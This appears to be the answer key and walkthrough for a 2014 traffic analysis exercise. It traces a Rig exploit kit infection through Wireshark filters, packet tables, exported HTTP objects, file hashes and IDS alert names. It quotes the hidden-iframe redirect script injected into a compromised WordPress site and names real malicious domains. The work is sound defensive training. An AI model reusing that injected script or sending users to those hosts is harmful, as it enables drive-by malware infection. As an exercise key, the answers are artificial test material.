

2014-11-16 TRAFFIC ANALYSIS EXERCISE - ANSWERS

PCAP is at: <http://malware-traffic-analysis.net/2014/11/16/2014-11-16-traffic-analysis-exercise.pcap>

Here's a tutorial for changing the column display in Wireshark:

<http://www.malware-traffic-analysis.net/tutorials/wireshark/index.html>

LEVEL 1 ANSWERS:

1) What is the IP address of the Windows VM that gets infected?

172.16.165.165

2) What is the host name of the Windows VM that gets infected?

K34EN6W3N-PC

3) What is the MAC address of the infected VM?

f0:19:af:02:9b:f1

4) What is the IP address of the compromised web site?

82.150.140.30

5) What is the domain name of the compromised web site?

www.ciniholland.nl

6) What is the IP address and domain name that delivered the exploit kit and malware?

37.200.69.143

7) What is the domain name that delivered the exploit kit and malware?

stand.trustandprobaterealty.com

LEVEL 2 ANSWERS:

1) What is the redirect URL that points to the exploit kit (EK) landing page?

http://24corp-shop.com/

2) Besides the landing page (which contains the CVE-2013-2551 IE exploit), what other exploit(s) sent by the EK?

a Flash exploit and a Java exploit

4) How many times was the payload delivered?

3

5) Submit the pcap to VirusTotal and find out what snort alerts triggered. What are the EK names are shown in the Suricata alerts?

*ET CURRENT_EVENTS **Goon/Infinity** URI Struct EK Landing May 05 2014*

*ET CURRENT_EVENTS **RIG EK** Landing URI Struct*

*ET CURRENT_EVENTS **GoonEK** encrypted binary (3)*

LEVEL 3 ANSWERS:

1) Checking my website, what have I (and others) been calling this exploit kit?

Rig EK

2) What file or page from the compromised website has the malicious script with the URL for the redirect?

The index page for www.ciniholland.nl had the URL for http://24corp-shop .com/

3) Extract the exploit file(s). What is(are) the md5 file hash(es)?

Flash exploit: 7b3baa7d6bb3720f369219789e38d6ab

Java exploit: 1e34fdebbf655cebea78b45e43520ddf

4) VirusTotal doesn't show all the VRT rules under the "Snort alerts" section for the pcap analysis. If you run your own version of Snort with the VRT ruleset as a registered user (or a subscriber), what VRT rules fire?

[1:30936:3] EXPLOIT-KIT Goon/Infinity/Rig exploit kit outbound uri structure

[1:30934:2] EXPLOIT-KIT Goon/Infinity/Rig exploit kit encrypted binary download

[1:25562:4] FILE-JAVA Oracle Java obfuscated jar file download attempt

[1:27816:5] EXPLOIT-KIT Multiple exploit kit jar file download attempt

2014-11-16 TRAFFIC ANALYSIS EXERCISE - EXPLANATIONS

LEVEL 1 ANSWERS:

1) What is the IP address of the Windows VM that gets infected?

172.16.165.165

Easy enough to find this info... Just filter on http.request.

Filter:	http.request	▼	Expression...	Clear	Apply	Save
Time	Source	port	Destination	port	Host	Info
02:11:51	172.16.165.165	49431	204.79.197.200	80	www.bing.com	POST /fd/ls/lsp.aspx HTTP/1.1
02:11:53	172.16.165.165	49429	204.79.197.200	80	www.bing.com	GET /fd/ls/GLinkPing.aspx?IG=aee596
02:11:55	172.16.165.165	49437	82.150.140.30	80	www.ciniholland.nl	GET / HTTP/1.1
02:11:56	172.16.165.165	49438	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/style.c
02:11:56	172.16.165.165	49439	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/plugins/contact-for
02:11:56	172.16.165.165	49440	82.150.140.30	80	www.ciniholland.nl	GET /wp-includes/js/jquery/jquery-n
02:11:56	172.16.165.165	49441	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/plugins/sitemap/css
02:11:56	172.16.165.165	49442	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/js/func
02:11:57	172.16.165.165	49439	82.150.140.30	80	www.ciniholland.nl	GET /wp-includes/js/jquery/jquery.j
02:11:57	172.16.165.165	49441	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/plugins/contact-for
02:11:57	172.16.165.165	49442	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/plugins/contact-for
02:11:57	172.16.165.165	49443	185.53.178.9	80	adultbiz.in	GET /new/jquery.php HTTP/1.1
02:11:58	172.16.165.165	49437	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/reset.c
02:11:58	172.16.165.165	49438	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/img/hr

2) What is the host name of the Windows VM that gets infected?

K34EN6W3N-PC

You can find this through the NBNS or DHCP traffic.

Filter:	nbns	▼	Expression...	Clear	App
Time	Source	port	Destination	port	Info
02:12:42	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:12:43	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:12:45	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:12:51	172.16.165.165	137	172.16.165.2	137	Name query NB WPAD<00>
02:12:53	172.16.165.165	137	172.16.165.2	137	Name query NB WPAD<00>
02:12:54	172.16.165.165	137	172.16.165.2	137	Name query NB WPAD<00>
02:12:56	172.16.165.165	137	172.16.165.255	137	Name query NB WPAD<00>
02:12:57	172.16.165.165	137	172.16.165.255	137	Name query NB WPAD<00>
02:12:57	172.16.165.165	137	172.16.165.255	137	Name query NB WPAD<00>
02:14:42	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:14:44	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:14:45	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>
02:16:42	172.16.165.165	137	172.16.165.2	137	Refresh NB K34EN6W3N-PC<00>

Filter:	udp.port eq 67				▼	Expression...	Clear	Apply	Save
Time	Source	port	Destination	port	Info				
02:12:51	172.16.165.165	68	255.255.255.255	67	DHCP Inform	- Transaction ID 0x92e7cbf7			
02:12:51	172.16.165.254	67	172.16.165.165	68	DHCP ACK	- Transaction ID 0x92e7cbf7			
02:19:38	172.16.165.165	68	172.16.165.254	67	DHCP Request	- Transaction ID 0xd71286ce			
02:19:38	172.16.165.254	67	172.16.165.165	68	DHCP ACK	- Transaction ID 0xd71286ce			
<div></div>									
▶ Frame 2442: 342 bytes on wire (2736 bits), 342 bytes captured (2736 bits)									
▶ Ethernet II, Src: f0:19:af:02:9b:f1 (f0:19:af:02:9b:f1), Dst: Broadcast (ff:ff:ff:ff:ff:ff)									
▶ Internet Protocol Version 4, Src: 172.16.165.165 (172.16.165.165), Dst: 255.255.255.255 (255.255.255.255)									
▶ User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67)									
▼ Bootstrap Protocol (Inform)									
Message type: Boot Request (1)									
Hardware type: Ethernet (0x01)									
Hardware address length: 6									
Hops: 0									
Transaction ID: 0x92e7cbf7									
Seconds elapsed: 0									
▶ Bootp flags: 0x0000 (Unicast)									
Client IP address: 172.16.165.165 (172.16.165.165)									
Your (client) IP address: 0.0.0.0 (0.0.0.0)									
Next server IP address: 0.0.0.0 (0.0.0.0)									
Relay agent IP address: 0.0.0.0 (0.0.0.0)									
Client MAC address: f0:19:af:02:9b:f1 (f0:19:af:02:9b:f1)									
Client hardware address padding: 00000000000000000000									
Server host name not given									
Boot file name not given									
Magic cookie: DHCP									
▶ Option: (53) DHCP Message Type (Inform)									
▶ Option: (61) Client identifier									
▼ Option: (12) Host Name									
Length: 12									
Host Name: K34EN6W3N-PC									
▶ Option: (60) Vendor class identifier									

3) What is the MAC address of the infected VM?

f0:19:af:02:9b:f1

▶	Frame 2408: 110 bytes on wire (880 bits), 110 bytes captured (880 bits)
▶	Ethernet II, Src: f0:19:af:02:9b:f1 (f0:19:af:02:9b:f1), Dst: 00:50:56:f3:ca:52 (00:50:56:f3:ca:52)
▶	Internet Protocol Version 4, Src: 172.16.165.165 (172.16.165.165), Dst: 172.16.165.2 (172.16.165.2)
▶	User Datagram Protocol, Src Port: 137 (137), Dst Port: 137 (137)
▶	NetBIOS Name Service

4) What is the IP address of the compromised web site?

82.150.140.30

5) What is the domain name of the compromised web site?

www.ciniholland.nl

Filter:	http.request	▼	Expression...	Clear	Apply	Save
Time	Source	port	Destination	port	Host	Info
02:11:51	172.16.165.165	49431	204.79.197.200	80	www.bing.com	POST /fd/ls/lsp.aspx HTTP/1.1
02:11:53	172.16.165.165	49429	204.79.197.200	80	www.bing.com	GET /fd/ls/GLinkPing.aspx?IG=aee596
02:11:55	172.16.165.165	49437	82.150.140.30	80	www.ciniholland.nl	GET / HTTP/1.1
02:11:56	172.16.165.165	49438	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/style.c
02:11:56	172.16.165.165	49439	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/plugins/contact-for
02:11:56	172.16.165.165	49440	82.150.140.30	80	www.ciniholland.nl	GET /wp-includes/js/jquery/jquery-n

6) What is the IP address and domain name that delivered the exploit kit and malware?

37.200.69.143

7) What is the domain name that delivered the exploit kit and malware?

stand.trustandprobaterealty.com

02:12:00	172.16.165.165	49442	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/uploads/2015/09/
02:12:00	172.16.165.165	49441	82.150.140.30	80	www.ciniholland.nl	GET /wp-content/themes/cini/img/
02:12:01	172.16.165.165	49444	74.125.233.96	80	www.youtube.com	GET /embed/hqgSewjl8hk HTTP/1.1
02:12:09	172.16.165.165	49438	82.150.140.30	80	www.ciniholland.nl	GET /favicon.ico HTTP/1.1
02:12:11	172.16.165.165	49449	188.225.73.100	80	24corp-shop.com	GET / HTTP/1.1
02:12:11	172.16.165.165	49450	188.225.73.100	80	24corp-shop.com	GET / HTTP/1.1
02:12:11	172.16.165.165	49450	188.225.73.100	80	24corp-shop.com	GET /source/notfound.gif HTTP/1.
02:12:12	172.16.165.165	49451	37.200.69.143	80	stand.trustandprobaterealty.com	GET /?PHPSESSID=njrMNRuDMhvJFIP0
02:12:12	172.16.165.165	49452	37.200.69.143	80	stand.trustandprobaterealty.com	GET /?PHPSESSID=njrMNRuDMhvJFIP0
02:12:19	172.16.165.165	49452	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=mp3&num=16&PH
02:12:30	172.16.165.165	49451	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=mp3&num=95&PH
02:12:41	172.16.165.165	49452	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=swf&num=809&f
02:12:41	172.16.165.165	49451	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=swf&num=7533&
02:12:59	172.16.165.165	49454	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=xml&num=9345&
02:13:00	172.16.165.165	49455	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=xml&num=2527&
02:13:01	172.16.165.165	49454	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=jar&num=3703&
02:13:01	172.16.165.165	49455	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=jar&num=9229&
02:13:03	172.16.165.165	49456	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=mp3&num=8032&
02:13:03	172.16.165.165	49457	37.200.69.143	80	stand.trustandprobaterealty.com	GET /index.php?req=mp3&num=9125&

LEVEL 2 ANSWERS:

1) What is the redirect URL that points to the exploit kit (EK) landing page?

http://24corp-shop.com/

You can see it here from the preview pane:

Time	Source	port	Destination	port	Host	Info
02:12:10	172.16.165.165	49449	188.225.73.100	80		49449-80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PE
02:12:11	188.225.73.100	80	172.16.165.165	49449		80-49449 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
02:12:11	172.16.165.165	49449	188.225.73.100	80		49449-80 [ACK] Seq=1 Ack=1 Win=256960 Len=0
02:12:11	172.16.165.165	49449	188.225.73.100	80	24corp-shop.com	GET / HTTP/1.1
02:12:11	188.225.73.100	80	172.16.165.165	49449		80-49449 [ACK] Seq=1 Ack=532 Win=64240 Len=0
02:12:11	188.225.73.100	80	172.16.165.165	49449		HTTP/1.1 200 OK (text/html)
02:12:12	188.225.73.100	80	172.16.165.165	49449		[TCP Retransmission] HTTP/1.1 200 OK (text/html)
02:12:12	172.16.165.165	49449	188.225.73.100	80		49449-80 [ACK] Seq=532 Ack=1033 Win=252832 Len=0
02:12:12	188.225.73.100	80	172.16.165.165	49449		80-49449 [FIN, PSH, ACK] Seq=1033 Ack=532 Win=64240 Len=0
02:12:12	172.16.165.165	49449	188.225.73.100	80		49449-80 [ACK] Seq=532 Ack=1034 Win=252832 Len=0
02:12:15	172.16.165.165	49449	188.225.73.100	80		49449-80 [RST, ACK] Seq=532 Ack=1034 Win=0 Len=0


```

</HEAD> \r\n
\r\n
[truncated]<body bgcolor=#ffffff><div align='center'><iframe src='http://stand.trustandprobaterealty.com/?PHPSESSID=njrM
\r\n
<BR><BR><BR> \r\n
\r\n
content-type: text/html; charset=utf-8" source="/notfound.gif" border="0" width="340" height="370" scrolling="no"

```

Or you can export the HTML object (File --> Export Object --> HTTP)

Packet num	Hostname	Content Type	Size	Filename
654	www.ciniholland.nl	image/jpeg	19 kB	P1260499-200x2
661	www.ciniholland.nl	image/jpeg	10 kB	IMG-20130928-W
976	www.ciniholland.nl	image/vnd.microsoft.icon	17 kB	favicon.ico
1074	24corp-shop.com	text/html	890 bytes	/
1079	24corp-shop.com	text/html	890 bytes	/
1090	24corp-shop.com	text/html	890 bytes	/
1356	24corp-shop.com	image/gif	68 kB	notfound.gif
1434	stand.trustandprobaterealty.com		1355 bytes	?PHPSESSID=njrM
1436	stand.trustandprobaterealty.com		1355 bytes	?PHPSESSID=njrM
1443	stand.trustandprobaterealtv.com		1355 bytes	?PHPSESSID=nirM

Help

Save As

Save

And find it in the extracted file:

```

<html>
<HEAD>
<meta http-equiv="Pragma" content="no-cache">

<TITLE>file not found</TITLE>
<STYLE type="text/css">

.small
{ font: 10px/9px verdana, arial, helvetica, sans-serif; color: #666666; }

</STYLE>

</HEAD>

<body bgcolor=#ffffff><div align='center'><iframe src='http://
stand.trustandprobaterealty.com/?PHPSESSID=njrMnruDMhvJFIPGKuXDSKVbM07PThnJko2ahe6JVg|
ZDjiZjZiZjI5Yzc50Tg3MzE1MzJkMmExN2M4NmJiOTM' border=0 width=125 height=10 scrolling=no></
iframe></div>

```


2) Besides the landing page (which contains the CVE-2013-2551 IE exploit), what other exploit(s) sent by the EK?

a Flash exploit and a Java exploit

Go to the export HTTP objects screen, and you can see this (File --> Export Object --> HTTP)

Packet num	Hostname	Content Type	Size	Filename
1561	stand.trustandprobatarealty.com		1355 bytes	?PHPSSID=njrMNRuDMhv
1565	stand.trustandprobatarealty.com		1460 bytes	?PHPSSID=njrMNRuDMhv
1991	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2379	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2394	stand.trustandprobatarealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2415	stand.trustandprobatarealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2469	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2471	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2475	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2489	stand.trustandprobatarealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2502	stand.trustandprobatarealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2977	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur

4) How many times was the payload delivered?

3 (the payload is encrypted, but it's makred as x-msdownload).

Filter:	http contains "Content-Length: 401811"	▼	Expression...	Clear	Apply	Save
Time	Source	port	Destination	port	Info	
02:12:28	37.200.69.143	80	172.16.165.165	49452	HTTP/1.1 200 OK	(application/x-msdownload)
02:12:38	37.200.69.143	80	172.16.165.165	49451	HTTP/1.1 200 OK	(application/x-msdownload)
02:13:13	37.200.69.143	80	172.16.165.165	49456	HTTP/1.1 200 OK	(application/x-msdownload)

Packet num	Hostname	Content Type	Size	Filename
1561	stand.trustandprobatarealty.com		1355 bytes	?PHPSSID=njrMNRuDMhv
1565	stand.trustandprobatarealty.com		1460 bytes	?PHPSSID=njrMNRuDMhv
1991	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2379	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2394	stand.trustandprobatarealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2415	stand.trustandprobatarealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2469	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2471	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2475	stand.trustandprobatarealty.com	text/xml	572 bytes	index.php?req=xml&num
2489	stand.trustandprobatarealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2502	stand.trustandprobatarealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2977	stand.trustandprobatarealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur

5) Submit the pcap to VirusTotal and find out what snort alerts triggered. What are the EK names are shown in the Suricata alerts?

ET CURRENT_EVENTS **Goon/Infinity** URI Struct EK Landing May 05 2014

ET CURRENT_EVENTS **RIG EK** Landing URI Struct

ET CURRENT_EVENTS **GoonEK** encrypted binary (3)

<https://www.virustotal.com/en/file/0e3fac547536f773bf1a21180a2294a10be97e956f091d24e168f147ecf5fafd/analysis/>

File name:	2014-11-16-traffic-analysis-exercise.pcap
Detection ratio:	4 / 54
Analysis date:	2014-11-21 22:50:23 UTC (22 hours, 43 minutes ago)

Analysis

File detail

Additional information

Comments 1

Votes

Intrusion Detection System	Result
Snort	3 alerts
Suricata	18 alerts

LEVEL 3 ANSWERS:

1) Checking my website, what have I (and others) been calling this exploit kit?

Rig EK

Rig is similar to Infinity EK (originally identified as Goon in the spring of 2014). Some good info on Rig EK can be found at: <http://www.kahusecurity.com/2014/rig-exploit-pack/>

2) What file or page from the compromised website has the malicious script with the URL for the redirect?

The index page for www.ciniholland.nl had the URL for <http://24corp-shop.com/>

Follow ***tcp.stream eq 0*** for the www.ciniholland.nl index page...

```
GET / HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/
pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Referer: http://www.bing.com/search?q=ciniholland.nl&q=ds&form=QBLH
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Accept-Encoding: gzip, deflate
Host: www.ciniholland.nl
Connection: Keep-Alive
```

```
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 16 Nov 2014 02:11:33 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ciniholland.nl/xmlrpc.php
Link: <http://www.ciniholland.nl/?p=6>; rel=shortlink
X-Powered-By: PleskLin
```

```
1e8d
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/
xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US">

<head profile="http://gmpg.org/xfn/11">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />

<title>Ciniholland.nl - Just another WordPress site</title>
```

Scroll down a bit, and you'll find it right before the end of the page header lines.

```
function showBrowser()
{
var divTag=document.createElement('div');
divTag.id='dt';
document.body.appendChild(divTag);
    var js_kod2 = document.createElement('iframe');
    js_kod2.src = 'http://24corp-shop.com';
    js_kod2.width = '180px';
    js_kod2.height = '200px';
    ...js_kod2.setAttribute('style','visibility:hidden');
document.getElementById('dt').appendChild(js_kod2);
}
</script>
</head>

<body>
<div class="headerbg">
<div class="header">
```


3) Extract the exploit file(s). What is(are) the md5 file hash(es)?

Flash exploit: 7b3baa7d6bb3720f369219789e38d6ab

Java exploit: 1e34fdebbf655cebea78b45e43520ddf

Export these HTTP objects (File --> Export Object --> HTTP)

Packet num	Hostname	Content Type	Size	Filename
1561	stand.trustandprobatererealty.com		1355 bytes	?PHPSSID=njrMNRuDMh
1565	stand.trustandprobatererealty.com		1460 bytes	?PHPSSID=njrMNRuDMh
1991	stand.trustandprobatererealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2379	stand.trustandprobatererealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur
2394	stand.trustandprobatererealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2415	stand.trustandprobatererealty.com	application/x-shockwave-flash	8227 bytes	index.php?req=swf&num
2469	stand.trustandprobatererealty.com	text/xml	572 bytes	index.php?req=xml&num
2471	stand.trustandprobatererealty.com	text/xml	572 bytes	index.php?req=xml&num
2475	stand.trustandprobatererealty.com	text/xml	572 bytes	index.php?req=xml&num
2489	stand.trustandprobatererealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2502	stand.trustandprobatererealty.com	application/java-archive	10 kB	index.php?req=jar&num=
2977	stand.trustandprobatererealty.com	application/x-msdownload	401 kB	index.php?req=mp3&nur

You'll only need to do one for each exploit (Flash and Java). You can use a *nix command line tool or submit the files to Virus Total.

Flash exploit:

<https://www.virustotal.com/en/file/e2e33b802a0d939d07bd8291f23484c2f68ccc33dc0655eb4493e5d3aebc0747/analysis/>

Java exploit:

<https://www.virustotal.com/en/file/178be0ed83a7a9020121dee1c305fd6ca3b74d15836835cfb1684da0b44190d3/analysis/>

4) VirusTotal doesn't show all the VRT rules under the "Snort alerts" section for the pcap analysis. If you run your own version of Snort with the VRT ruleset as a registered user (or a subscriber), what VRT rules fire?

[1:30936:3] EXPLOIT-KIT Goon/Infinity/Rig exploit kit outbound uri structure

[1:30934:2] EXPLOIT-KIT Goon/Infinity/Rig exploit kit encrypted binary download

[1:25562:4] FILE-JAVA Oracle Java obfuscated jar file download attempt

[1:27816:5] EXPLOIT-KIT Multiple exploit kit jar file download attempt

Your results will vary, depending on how you have your Snort installation configured. If you haven't tried to set up Snort on your own, check out some of the Snort Setup Guides at:

<https://www.snort.org/documents>